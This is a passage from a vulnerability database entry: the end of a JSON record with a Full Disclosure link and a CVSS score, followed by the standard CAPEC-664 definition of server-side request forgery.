"url": "http://seclists.org/fulldisclosure/2018/Jun/23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.